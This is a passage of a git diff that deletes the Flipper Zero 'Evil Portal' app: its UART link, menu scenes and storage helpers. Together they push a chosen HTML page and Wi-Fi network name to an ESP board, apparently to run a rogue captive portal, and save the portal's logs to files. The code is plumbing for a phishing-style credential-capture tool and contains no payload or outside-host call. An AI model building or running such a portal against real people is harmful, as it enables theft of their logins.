+++ /dev/null
@@ -1,77 +0,0 @@
-#pragma once
-
-#include "evil_portal_app.h"
-#include "evil_portal_custom_event.h"
-#include "evil_portal_uart.h"
-#include "scenes/evil_portal_scene.h"
-#include "evil_portal_icons.h"
-#include
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#include
-
-#define NUM_MENU_ITEMS (6)
-
-#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
-#define UART_CH \
- (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
- FuriHalUartIdLPUART1)
-
-#define SET_HTML_CMD "sethtml"
-#define SET_AP_CMD "setap"
-#define RESET_CMD "reset"
-
-struct Evil_PortalApp {
- Gui* gui;
- ViewDispatcher* view_dispatcher;
- SceneManager* scene_manager;
-
- FuriString* portal_logs;
- const char* command_queue[1];
- int command_index;
- bool has_command_queue;
-
- FuriString* text_box_store;
- size_t text_box_store_strlen;
- TextBox* text_box;
-
- VariableItemList* var_item_list;
- Evil_PortalUart* uart;
- TextInput* text_input;
- DialogsApp* dialogs;
- FuriString* file_path;
- Loading* loading;
- ViewStack* view_stack;
-
- int selected_menu_index;
- int selected_option_index[NUM_MENU_ITEMS];
- const char* selected_tx_string;
- bool is_command;
- bool is_custom_tx_string;
- bool focus_console_start;
- bool show_stopscan_tip;
- bool sent_ap;
- bool sent_html;
- bool sent_reset;
- int BAUDRATE;
- char text_store[2][128 + 1];
-
- uint8_t* index_html;
- uint8_t* ap_name;
-};
-
-typedef enum {
- Evil_PortalAppViewVarItemList,
- Evil_PortalAppViewConsoleOutput,
- Evil_PortalAppViewStartPortal,
- Evil_PortalAppViewTextInput,
-} Evil_PortalAppView;
diff --git a/applications/external/evil_portal/evil_portal_custom_event.h b/applications/external/evil_portal/evil_portal_custom_event.h
deleted file mode 100644
index a4609e00a..000000000
--- a/applications/external/evil_portal/evil_portal_custom_event.h
+++ /dev/null
@@ -1,9 +0,0 @@
-#pragma once
-
-typedef enum {
- Evil_PortalEventRefreshConsoleOutput = 0,
- Evil_PortalEventStartConsole,
- Evil_PortalEventStartKeyboard,
- Evil_PortalEventStartPortal,
- Evil_PortalEventTextInput,
-} Evil_PortalCustomEvent;
diff --git a/applications/external/evil_portal/evil_portal_uart.c b/applications/external/evil_portal/evil_portal_uart.c
deleted file mode 100644
index 8d88f7cf9..000000000
--- a/applications/external/evil_portal/evil_portal_uart.c
+++ /dev/null
@@ -1,157 +0,0 @@
-#include "evil_portal_app_i.h"
-#include "evil_portal_uart.h"
-#include "helpers/evil_portal_storage.h"
-
-struct Evil_PortalUart {
- Evil_PortalApp* app;
- FuriThread* rx_thread;
- FuriStreamBuffer* rx_stream;
- uint8_t rx_buf[RX_BUF_SIZE + 1];
- void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context);
-};
-
-typedef enum {
- WorkerEvtStop = (1 << 0),
- WorkerEvtRxDone = (1 << 1),
-} WorkerEvtFlags;
-
-void evil_portal_uart_set_handle_rx_data_cb(
- Evil_PortalUart* uart,
- void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) {
- furi_assert(uart);
- uart->handle_rx_data_cb = handle_rx_data_cb;
-}
-
-#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
-
-void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
- Evil_PortalUart* uart = (Evil_PortalUart*)context;
-
- if(ev == UartIrqEventRXNE) {
- furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
- furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
- }
-}
-
-static int32_t uart_worker(void* context) {
- Evil_PortalUart* uart = (void*)context;
-
- while(1) {
- uint32_t events =
- furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
- furi_check((events & FuriFlagError) == 0);
- if(events & WorkerEvtStop) break;
- if(events & WorkerEvtRxDone) {
- size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
-
- if(len > 0) {
- if(uart->handle_rx_data_cb) {
- uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
-
- if(uart->app->has_command_queue) {
- if(uart->app->command_index < 1) {
- if(0 == strncmp(
- SET_AP_CMD,
- uart->app->command_queue[uart->app->command_index],
- strlen(SET_AP_CMD))) {
- FuriString* out_data = furi_string_alloc();
-
- furi_string_cat(out_data, "setap=");
- furi_string_cat(out_data, (char*)uart->app->ap_name);
-
- evil_portal_uart_tx(
- (uint8_t*)(furi_string_get_cstr(out_data)),
- strlen(furi_string_get_cstr(out_data)));
- evil_portal_uart_tx((uint8_t*)("\n"), 1);
-
- uart->app->sent_ap = true;
-
- free(out_data);
- free(uart->app->ap_name);
- }
-
- uart->app->command_index = 0;
- uart->app->has_command_queue = false;
- uart->app->command_queue[0] = "";
- }
- }
-
- if(uart->app->sent_reset == false) {
- furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
- }
-
- if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
- write_logs(uart->app->portal_logs);
- furi_string_reset(uart->app->portal_logs);
- }
- } else {
- uart->rx_buf[len] = '\0';
- if(uart->app->sent_reset == false) {
- furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
- }
-
- if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
- write_logs(uart->app->portal_logs);
- furi_string_reset(uart->app->portal_logs);
- }
- }
- }
- }
- }
-
- furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
- furi_stream_buffer_free(uart->rx_stream);
-
- return 0;
-}
-
-void evil_portal_uart_tx(uint8_t* data, size_t len) {
- furi_hal_uart_tx(UART_CH, data, len);
-}
-
-Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) {
- Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart));
- uart->app = app;
- // Init all rx stream and thread early to avoid crashes
- uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
- uart->rx_thread = furi_thread_alloc();
- furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
- furi_thread_set_stack_size(uart->rx_thread, 1024);
- furi_thread_set_context(uart->rx_thread, uart);
- furi_thread_set_callback(uart->rx_thread, uart_worker);
-
- furi_thread_start(uart->rx_thread);
-
- if(UART_CH == FuriHalUartIdUSART1) {
- furi_hal_console_disable();
- } else if(UART_CH == FuriHalUartIdLPUART1) {
- furi_hal_uart_init(UART_CH, app->BAUDRATE);
- }
-
- if(app->BAUDRATE == 0) {
- app->BAUDRATE = 115200;
- }
-
- furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
- furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
-
- evil_portal_uart_tx((uint8_t*)("XFW#EVILPORTAL=1\n"), strlen("XFW#EVILPORTAL=1\n"));
-
- return uart;
-}
-
-void evil_portal_uart_free(Evil_PortalUart* uart) {
- furi_assert(uart);
-
- furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
- furi_thread_join(uart->rx_thread);
- furi_thread_free(uart->rx_thread);
-
- if(UART_CH == FuriHalUartIdLPUART1) {
- furi_hal_uart_deinit(UART_CH);
- } else {
- furi_hal_console_enable();
- }
-
- free(uart);
-}
diff --git a/applications/external/evil_portal/evil_portal_uart.h b/applications/external/evil_portal/evil_portal_uart.h
deleted file mode 100644
index d7980a8e2..000000000
--- a/applications/external/evil_portal/evil_portal_uart.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#pragma once
-
-#include "furi_hal.h"
-
-#define RX_BUF_SIZE (320)
-
-typedef struct Evil_PortalUart Evil_PortalUart;
-
-void evil_portal_uart_set_handle_rx_data_cb(
- Evil_PortalUart* uart,
- void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context));
-void evil_portal_uart_tx(uint8_t* data, size_t len);
-Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app);
-void evil_portal_uart_free(Evil_PortalUart* uart);
diff --git a/applications/external/evil_portal/helpers/evil_portal_storage.c b/applications/external/evil_portal/helpers/evil_portal_storage.c
deleted file mode 100644
index 22dd11dfb..000000000
--- a/applications/external/evil_portal/helpers/evil_portal_storage.c
+++ /dev/null
@@ -1,163 +0,0 @@
-#include "evil_portal_storage.h"
-
-static Storage* evil_portal_open_storage() {
- return furi_record_open(RECORD_STORAGE);
-}
-
-static void evil_portal_close_storage() {
- furi_record_close(RECORD_STORAGE);
-}
-
-void evil_portal_read_index_html(void* context) {
- Evil_PortalApp* app = context;
- Storage* storage = evil_portal_open_storage();
- FileInfo fi;
-
- if(!storage_common_exists(storage, EVIL_PORTAL_INDEX_SAVE_PATH)) {
- FuriString* tmp = furi_string_alloc_set(EVIL_PORTAL_INDEX_DEFAULT_PATH);
- evil_portal_replace_index_html(tmp);
- furi_string_free(tmp);
- }
-
- if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) {
- File* index_html = storage_file_alloc(storage);
- if(storage_file_open(
- index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
- app->index_html = malloc((size_t)fi.size);
- uint8_t* buf_ptr = app->index_html;
- size_t read = 0;
- while(read < fi.size) {
- size_t to_read = fi.size - read;
- if(to_read > UINT16_MAX) to_read = UINT16_MAX;
- uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
- read += now_read;
- buf_ptr += now_read;
- }
- free(buf_ptr);
- }
- storage_file_close(index_html);
- storage_file_free(index_html);
- } else {
- char* html_error = "Evil portal Unable to read the html file. "
- "Is the SD Card set up correctly? See instructions @ "
- "github.com/bigbrodude6119/flipper-zero-evil-portal "
- "Under the 'Install pre-built app on the flipper' section.";
- app->index_html = (uint8_t*)html_error;
- }
-
- evil_portal_close_storage();
-}
-
-void evil_portal_replace_index_html(FuriString* path) {
- Storage* storage = evil_portal_open_storage();
- FS_Error error;
- error = storage_common_remove(storage, EVIL_PORTAL_INDEX_SAVE_PATH);
- if(error != FSE_OK) {
- FURI_LOG_D("EVIL PORTAL", "Error removing file");
- } else {
- FURI_LOG_D("EVIL PORTAL", "Error removed file");
- }
- error = storage_common_copy(storage, furi_string_get_cstr(path), EVIL_PORTAL_INDEX_SAVE_PATH);
- if(error != FSE_OK) {
- FURI_LOG_D("EVIL PORTAL", "Error copying file");
- }
- evil_portal_close_storage();
-}
-
-void evil_portal_create_html_folder_if_not_exists() {
- Storage* storage = evil_portal_open_storage();
- if(storage_common_stat(storage, HTML_FOLDER, NULL) == FSE_NOT_EXIST) {
- FURI_LOG_D("Evil Portal", "Directory %s doesn't exist. Will create new.", HTML_FOLDER);
- if(!storage_simply_mkdir(storage, HTML_FOLDER)) {
- FURI_LOG_E("Evil Portal", "Error creating directory %s", HTML_FOLDER);
- }
- }
- evil_portal_close_storage();
-}
-
-void evil_portal_read_ap_name(void* context) {
- Evil_PortalApp* app = context;
- Storage* storage = evil_portal_open_storage();
- FileInfo fi;
-
- if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
- File* ap_name = storage_file_alloc(storage);
- if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
- app->ap_name = malloc((size_t)fi.size);
- uint8_t* buf_ptr = app->ap_name;
- size_t read = 0;
- while(read < fi.size) {
- size_t to_read = fi.size - read;
- if(to_read > UINT16_MAX) to_read = UINT16_MAX;
- uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
- read += now_read;
- buf_ptr += now_read;
- }
- free(buf_ptr);
- }
- storage_file_close(ap_name);
- storage_file_free(ap_name);
- } else {
- char* app_default = "Evil Portal";
- app->ap_name = (uint8_t*)app_default;
- }
- evil_portal_close_storage();
-}
-
-void evil_portal_write_ap_name(void* context) {
- Evil_PortalApp* app = context;
- Storage* storage = evil_portal_open_storage();
-
- File* ap_name = storage_file_alloc(storage);
- if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
- storage_file_write(ap_name, app->text_store[0], strlen(app->text_store[0]));
- }
- storage_file_close(ap_name);
- storage_file_free(ap_name);
- evil_portal_close_storage();
-}
-
-char* sequential_file_resolve_path(
- Storage* storage,
- const char* dir,
- const char* prefix,
- const char* extension) {
- if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
- return NULL;
- }
-
- char file_path[256];
- int file_index = 0;
-
- do {
- if(snprintf(
- file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) <
- 0) {
- return NULL;
- }
- file_index++;
- } while(storage_file_exists(storage, file_path));
-
- return strdup(file_path);
-}
-
-void write_logs(FuriString* portal_logs) {
- Storage* storage = evil_portal_open_storage();
-
- if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
- storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
- }
-
- char* seq_file_path =
- sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
-
- File* file = storage_file_alloc(storage);
-
- if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
- storage_file_write(
- file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs));
- }
- storage_file_close(file);
- storage_file_free(file);
- evil_portal_close_storage();
-}
diff --git a/applications/external/evil_portal/helpers/evil_portal_storage.h b/applications/external/evil_portal/helpers/evil_portal_storage.h
deleted file mode 100644
index 234b853e6..000000000
--- a/applications/external/evil_portal/helpers/evil_portal_storage.h
+++ /dev/null
@@ -1,26 +0,0 @@
-#include "../evil_portal_app_i.h"
-#include
-#include
-#include
-#include
-#include
-
-#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
-#define HTML_EXTENSION ".html"
-#define HTML_FOLDER PORTAL_FILE_DIRECTORY_PATH "/html"
-#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
-#define EVIL_PORTAL_INDEX_DEFAULT_PATH HTML_FOLDER "/xtreme.html"
-#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
-#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
-
-void evil_portal_read_index_html(void* context);
-void evil_portal_read_ap_name(void* context);
-void evil_portal_write_ap_name(void* context);
-void evil_portal_replace_index_html(FuriString* path);
-void evil_portal_create_html_folder_if_not_exists();
-void write_logs(FuriString* portal_logs);
-char* sequential_file_resolve_path(
- Storage* storage,
- const char* dir,
- const char* prefix,
- const char* extension);
diff --git a/applications/external/evil_portal/icons/evil_portal_10px.png b/applications/external/evil_portal/icons/evil_portal_10px.png
deleted file mode 100644
index eed8789a4..000000000
Binary files a/applications/external/evil_portal/icons/evil_portal_10px.png and /dev/null differ
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene.c b/applications/external/evil_portal/scenes/evil_portal_scene.c
deleted file mode 100644
index f6f06d8cc..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene.c
+++ /dev/null
@@ -1,30 +0,0 @@
-#include "evil_portal_scene.h"
-
-// Generate scene on_enter handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
-void (*const evil_portal_scene_on_enter_handlers[])(void*) = {
-#include "evil_portal_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_event handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
-bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
-#include "evil_portal_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
-void (*const evil_portal_scene_on_exit_handlers[])(void* context) = {
-#include "evil_portal_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Initialize scene handlers configuration structure
-const SceneManagerHandlers evil_portal_scene_handlers = {
- .on_enter_handlers = evil_portal_scene_on_enter_handlers,
- .on_event_handlers = evil_portal_scene_on_event_handlers,
- .on_exit_handlers = evil_portal_scene_on_exit_handlers,
- .scene_num = Evil_PortalSceneNum,
-};
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene.h b/applications/external/evil_portal/scenes/evil_portal_scene.h
deleted file mode 100644
index 8468f9157..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene.h
+++ /dev/null
@@ -1,29 +0,0 @@
-#pragma once
-
-#include
-
-// Generate scene id and total number
-#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
-typedef enum {
-#include "evil_portal_scene_config.h"
- Evil_PortalSceneNum,
-} Evil_PortalScene;
-#undef ADD_SCENE
-
-extern const SceneManagerHandlers evil_portal_scene_handlers;
-
-// Generate scene on_enter handlers declaration
-#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
-#include "evil_portal_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_event handlers declaration
-#define ADD_SCENE(prefix, name, id) \
- bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
-#include "evil_portal_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers declaration
-#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
-#include "evil_portal_scene_config.h"
-#undef ADD_SCENE
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_config.h b/applications/external/evil_portal/scenes/evil_portal_scene_config.h
deleted file mode 100644
index ffb958487..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene_config.h
+++ /dev/null
@@ -1,4 +0,0 @@
-ADD_SCENE(evil_portal, start, Start)
-ADD_SCENE(evil_portal, console_output, ConsoleOutput)
-ADD_SCENE(evil_portal, rename, Rename)
-ADD_SCENE(evil_portal, select_html, SelectHtml)
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c b/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c
deleted file mode 100644
index 19b076845..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene_console_output.c
+++ /dev/null
@@ -1,157 +0,0 @@
-#include "../evil_portal_app_i.h"
-#include "../helpers/evil_portal_storage.h"
-
-void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) {
- furi_assert(context);
- Evil_PortalApp* app = context;
-
- // If text box store gets too big, then truncate it
- app->text_box_store_strlen += len;
- if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
- furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
- app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
- }
-
- // Null-terminate buf and append to text box store
- buf[len] = '\0';
- furi_string_cat_printf(app->text_box_store, "%s", buf);
-
- view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput);
-}
-
-void evil_portal_scene_console_output_on_enter(void* context) {
- Evil_PortalApp* app = context;
-
- TextBox* text_box = app->text_box;
- text_box_reset(app->text_box);
- text_box_set_font(text_box, TextBoxFontText);
- if(app->focus_console_start) {
- text_box_set_focus(text_box, TextBoxFocusStart);
- } else {
- text_box_set_focus(text_box, TextBoxFocusEnd);
- }
-
- if(app->is_command) {
- furi_string_reset(app->text_box_store);
- app->text_box_store_strlen = 0;
- app->sent_reset = false;
-
- if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
- const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
- "WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
- "Version 0.0.2\n\n";
- furi_string_cat_str(app->text_box_store, help_msg);
- app->text_box_store_strlen += strlen(help_msg);
- if(app->show_stopscan_tip) {
- const char* msg = "Press BACK to return\n";
- furi_string_cat_str(app->text_box_store, msg);
- app->text_box_store_strlen += strlen(msg);
- }
- }
-
- if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
- const char* help_msg = "Logs saved.\n\n";
- furi_string_cat_str(app->text_box_store, help_msg);
- app->text_box_store_strlen += strlen(help_msg);
- write_logs(app->portal_logs);
- furi_string_reset(app->portal_logs);
- if(app->show_stopscan_tip) {
- const char* msg = "Press BACK to return\n";
- furi_string_cat_str(app->text_box_store, msg);
- app->text_box_store_strlen += strlen(msg);
- }
- }
-
- if(0 == strncmp("setapname", app->selected_tx_string, strlen("setapname"))) {
- scene_manager_next_scene(app->scene_manager, Evil_PortalSceneRename);
- return;
- }
-
- if(0 == strncmp("selecthtml", app->selected_tx_string, strlen("selecthtml"))) {
- scene_manager_next_scene(app->scene_manager, Evil_PortalSceneSelectHtml);
- return;
- }
-
- if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
- app->command_queue[0] = SET_AP_CMD;
- app->has_command_queue = true;
- app->command_index = 0;
- if(app->show_stopscan_tip) {
- const char* msg = "Starting portal\nIf no response press\nBACK to return\n";
- furi_string_cat_str(app->text_box_store, msg);
- app->text_box_store_strlen += strlen(msg);
- }
- }
-
- if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
- app->sent_reset = true;
- if(app->show_stopscan_tip) {
- const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n";
- furi_string_cat_str(app->text_box_store, msg);
- app->text_box_store_strlen += strlen(msg);
- }
- }
- }
-
- text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
-
- scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0);
- view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
-
- // Register callback to receive data
- evil_portal_uart_set_handle_rx_data_cb(
- app->uart, evil_portal_console_output_handle_rx_data_cb);
-
- if(app->is_command && app->selected_tx_string) {
- if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
- evil_portal_read_index_html(context);
-
- FuriString* data = furi_string_alloc();
- furi_string_cat(data, "sethtml=");
- furi_string_cat(data, (char*)app->index_html);
-
- evil_portal_uart_tx(
- (uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data)));
- evil_portal_uart_tx((uint8_t*)("\n"), 1);
-
- app->sent_html = true;
-
- free(data);
- free(app->index_html);
-
- evil_portal_read_ap_name(context);
- } else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
- app->sent_html = false;
- app->sent_ap = false;
- evil_portal_uart_tx(
- (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
- evil_portal_uart_tx((uint8_t*)("\n"), 1);
- } else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
- evil_portal_uart_tx(
- (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
- evil_portal_uart_tx((uint8_t*)("\n"), 1);
- }
- }
-}
-
-bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) {
- Evil_PortalApp* app = context;
-
- bool consumed = false;
-
- if(event.type == SceneManagerEventTypeCustom) {
- text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
- consumed = true;
- } else if(event.type == SceneManagerEventTypeTick) {
- consumed = true;
- }
-
- return consumed;
-}
-
-void evil_portal_scene_console_output_on_exit(void* context) {
- Evil_PortalApp* app = context;
-
- // Unregister rx callback
- evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
-}
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_rename.c b/applications/external/evil_portal/scenes/evil_portal_scene_rename.c
deleted file mode 100644
index 72f3ef18c..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene_rename.c
+++ /dev/null
@@ -1,42 +0,0 @@
-#include "../evil_portal_app_i.h"
-#include "../helpers/evil_portal_storage.h"
-
-void evil_portal_text_input_callback(void* context) {
- furi_assert(context);
- Evil_PortalApp* app = context;
- view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventTextInput);
-}
-
-void evil_portal_scene_rename_on_enter(void* context) {
- Evil_PortalApp* app = context;
- TextInput* text_input = app->text_input;
- size_t enter_name_length = 25;
- evil_portal_read_ap_name(app);
- text_input_set_header_text(text_input, "AP Name/SSID");
- strncpy(app->text_store[0], (char*)app->ap_name, enter_name_length);
- text_input_set_result_callback(
- text_input,
- evil_portal_text_input_callback,
- context,
- app->text_store[0],
- enter_name_length,
- false);
- view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewTextInput);
-}
-
-bool evil_portal_scene_rename_on_event(void* context, SceneManagerEvent event) {
- Evil_PortalApp* app = context;
- SceneManager* scene_manager = app->scene_manager;
- bool consumed = false;
- if(event.type == SceneManagerEventTypeCustom) {
- evil_portal_write_ap_name(app);
- scene_manager_search_and_switch_to_previous_scene(scene_manager, Evil_PortalSceneStart);
- consumed = true;
- }
- return consumed;
-}
-
-void evil_portal_scene_rename_on_exit(void* context) {
- Evil_PortalApp* app = context;
- variable_item_list_reset(app->var_item_list);
-}
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c b/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c
deleted file mode 100644
index 1dbcdd54d..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene_select_html.c
+++ /dev/null
@@ -1,54 +0,0 @@
-#include "../evil_portal_app_i.h"
-#include "../helpers/evil_portal_storage.h"
-
-void evil_portal_show_loading_popup(Evil_PortalApp* app, bool show) {
- TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME);
- ViewStack* view_stack = app->view_stack;
- Loading* loading = app->loading;
- if(show) {
- // Raise timer priority so that animations can play
- vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1);
- view_stack_add_view(view_stack, loading_get_view(loading));
- } else {
- view_stack_remove_view(view_stack, loading_get_view(loading));
- // Restore default timer priority
- vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY);
- }
-}
-
-void evil_portal_scene_select_html_on_enter(void* context) {
- Evil_PortalApp* app = context;
- DialogsFileBrowserOptions browser_options;
- evil_portal_create_html_folder_if_not_exists();
-
- dialog_file_browser_set_basic_options(&browser_options, HTML_EXTENSION, &I_evil_portal_10px);
- browser_options.base_path = HTML_FOLDER;
-
- FuriString* path;
- path = furi_string_alloc();
-
- furi_string_set(path, HTML_FOLDER);
-
- bool success = dialog_file_browser_show(app->dialogs, app->file_path, path, &browser_options);
- furi_string_free(path);
-
- if(success) {
- //Replace HTML File
- evil_portal_show_loading_popup(app, true);
- evil_portal_replace_index_html(app->file_path);
- evil_portal_show_loading_popup(app, false);
- }
-
- scene_manager_search_and_switch_to_previous_scene(app->scene_manager, Evil_PortalSceneStart);
-}
-
-bool evil_portal_scene_select_html_on_event(void* context, SceneManagerEvent event) {
- UNUSED(context);
- UNUSED(event);
- bool consumed = true;
- return consumed;
-}
-
-void evil_portal_scene_select_html_on_exit(void* context) {
- UNUSED(context);
-}
diff --git a/applications/external/evil_portal/scenes/evil_portal_scene_start.c b/applications/external/evil_portal/scenes/evil_portal_scene_start.c
deleted file mode 100644
index b06aedc51..000000000
--- a/applications/external/evil_portal/scenes/evil_portal_scene_start.c
+++ /dev/null
@@ -1,136 +0,0 @@
-#include "../evil_portal_app_i.h"
-
-// For each command, define whether additional arguments are needed
-// (enabling text input to fill them out), and whether the console
-// text box should focus at the start of the output or the end
-typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs;
-
-typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole;
-
-#define SHOW_STOPSCAN_TIP (true)
-#define NO_TIP (false)
-
-#define MAX_OPTIONS (9)
-typedef struct {
- const char* item_string;
- const char* options_menu[MAX_OPTIONS];
- int num_options_menu;
- const char* actual_commands[MAX_OPTIONS];
- InputArgs needs_keyboard;
- FocusConsole focus_console;
- bool show_stopscan_tip;
-} Evil_PortalItem;
-
-// NUM_MENU_ITEMS defined in evil_portal_app_i.h - if you add an entry here,
-// increment it!
-const Evil_PortalItem items[NUM_MENU_ITEMS] = {
- // send command
- {"Start portal", {""}, 1, {SET_HTML_CMD}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP},
-
- // stop portal
- {"Stop portal", {""}, 1, {RESET_CMD}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
-
- // console
- {"Save logs", {""}, 1, {"savelogs"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
-
- // set AP name
- {"Set AP name", {""}, 1, {"setapname"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
-
- // select HTML Portal File
- {"Select HTML", {""}, 1, {"selecthtml"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
-
- // help
- {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
-};
-
-static void evil_portal_scene_start_var_list_enter_callback(void* context, uint32_t index) {
- furi_assert(context);
- Evil_PortalApp* app = context;
-
- furi_assert(index < NUM_MENU_ITEMS);
- const Evil_PortalItem* item = &items[index];
-
- const int selected_option_index = app->selected_option_index[index];
- furi_assert(selected_option_index < item->num_options_menu);
- app->selected_tx_string = item->actual_commands[selected_option_index];
- app->is_command = true;
- app->is_custom_tx_string = false;
- app->selected_menu_index = index;
